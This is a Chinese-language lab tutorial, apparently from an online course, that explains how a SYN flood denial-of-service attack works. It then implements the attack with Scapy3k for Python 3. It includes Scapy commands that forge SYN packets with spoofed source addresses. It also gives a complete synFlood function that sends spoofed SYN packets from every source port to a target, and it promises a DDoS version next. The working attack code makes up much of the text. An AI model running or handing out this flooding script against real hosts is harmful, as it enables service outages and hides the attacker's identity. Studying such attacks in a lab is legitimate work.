實驗1 : Scapy實現SYN泛洪攻擊

本實驗摘自實驗樓:https://www.shiyanlou.com/courses/683/learning/?id=2236

1.1 實驗介紹

本次實驗將使用python3版本的Scapy--Scapy3k來實現一個簡單的DDos,本次實驗分爲兩節,本節將學習如何使用Scapy3k來實現SYN泛洪攻擊。

1.2 知識點

  1. SYN泛洪攻擊的實現原理
  2. Scapy3k的基本用法

1.3 效果圖

1-1.3-1

2.1 SYN泛洪攻擊

SYN泛洪攻擊(SYN Flood)是一種比較常用的DoS方式之一。通過發送大量僞造的Tcp連接請求,使被攻擊主機資源耗盡(通常是CPU滿負荷或者內存不足) 的攻擊方式。

我們都知道建立Tcp連接需要完成三次握手。正常情況下客戶端首先向服務端發送SYN報文,隨後服務端回以SYN+ACK報文到達客戶端,最後客戶端向服務端發送ACK報文完成三次握手。

正常TCP連接

SYN泛洪攻擊則是客戶端向服務器發送SYN報文之後就不再響應服務器迴應的報文。由於服務器在處理TCP請求時,會在協議棧留一塊緩衝區來存儲握手的過程,當然如果超過一定的時間內沒有接收到客戶端的報文,本次連接在協議棧中存儲的數據將會被丟棄。攻擊者如果利用這段時間發送大量的連接請求,全部掛起在半連接狀態。這樣將不斷消耗服務器資源,直到拒絕服務

SYN Flood

2.2 Scapy3k基本用法

Scapy3k其實就是Scapy的Python3版本,以下我就簡稱ScapyScapy是一個強大的交互式數據包處理程序。可用來發送、嗅探、解析和僞造網絡數據包。在網絡攻擊和滲透測試中應用非常廣泛。Scapy是一個獨立的程序同時還可以作爲Python的第三方庫使用。是不是有些迫不及待的想見識一下Scapy的強大之處了?

我們先在實驗環境中安裝Scapy3k:

sudo pip3 install scapy-python3==0.18

此處輸入圖片的描述

現在運行scapy學習一下它的使用方法。

sudo scapy

這裏需要注意:Scapy發送數據包需要root權限,所以這裏我們加上了sudo。另外運行的時候會出現一些警告信息,我們這次實驗沒有用到相關的功能可以不用管,需要用的安裝相應的依賴包就可以了。

1-2.2-2

現在我們用Scapy構造一個簡單的數據包看一下:

pkt = IP(dst="192.168.0.100")

1-2.2-3

可以看到Scapy構造一個數據包非常簡單,我們再來看一下如何構造SYN數據包:

IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

我們構造了一個IP包和TCP包並將它們組合到一塊,這樣就有了一個完整的TCP數據包,否則是無法發送出去的。IP包中我們指定了源地址src和目的地址dst,其中src是我們僞造的地址,當然這也是DoS攻擊中保護攻擊者的一種方式。flags的值我們設定爲S,說明我們要發送的是SYN數據包。非常簡短的一段指令就構造了一個僞造了源IP地址的SYN數據包,是不是很簡單?

構造了我們想要的數據包,現在我們把它發送出去:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
send(pkt)

1-2.2-4

至此我們編寫SYN泛洪攻擊的基本知識就已經全部介紹完了,用這些知識足夠我們來完成本次試驗了。至於Scapy的更詳細用法,可以看一下官方文檔,你就會發現Scapy的強大之處。

三、代碼實現

現在我們要用Python以第三方庫的形式使用Scapy,使用方法和用交互式Shell的方式一樣,注意:使用前要先導Scapy的包:

from scapy.all import

之前我們已經構造過了SYN數據包,現在我們需要實現隨機僞造源IP地址、以及以不同的源端口向目標主機發送SYN數據包:

import random
from scapy.all import *

def synFlood(tgt,dPort):
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    for sPort in range(1024,65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
        packet = ipLayer / tcpLayer 
        send(packet)

在代碼中我定義了srcList用於存放僞造的IP地址,之後定義了一個循環,作用是每次發送數據包源端口都改變,可以看到在構造TCP數據包的時候我們增加了一個參數sport,循環中改變的端口號就是給了sport這個參數。我們還調用random.randrange()函數來隨機從srcList中獲取一個僞造的IP地址。

至此我們本次實驗就完成了,雖然代碼非常少不過功能我們卻實現的比較理想,這主要是因爲Python的語法本身非常簡潔,再加上Scapy封裝的也非常好,纔會讓我們寫出即簡潔功能又強大的代碼。

現在我們只實現了DoS攻擊的腳本,在下一次實驗我們將繼續完善代碼,實現DDoS

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章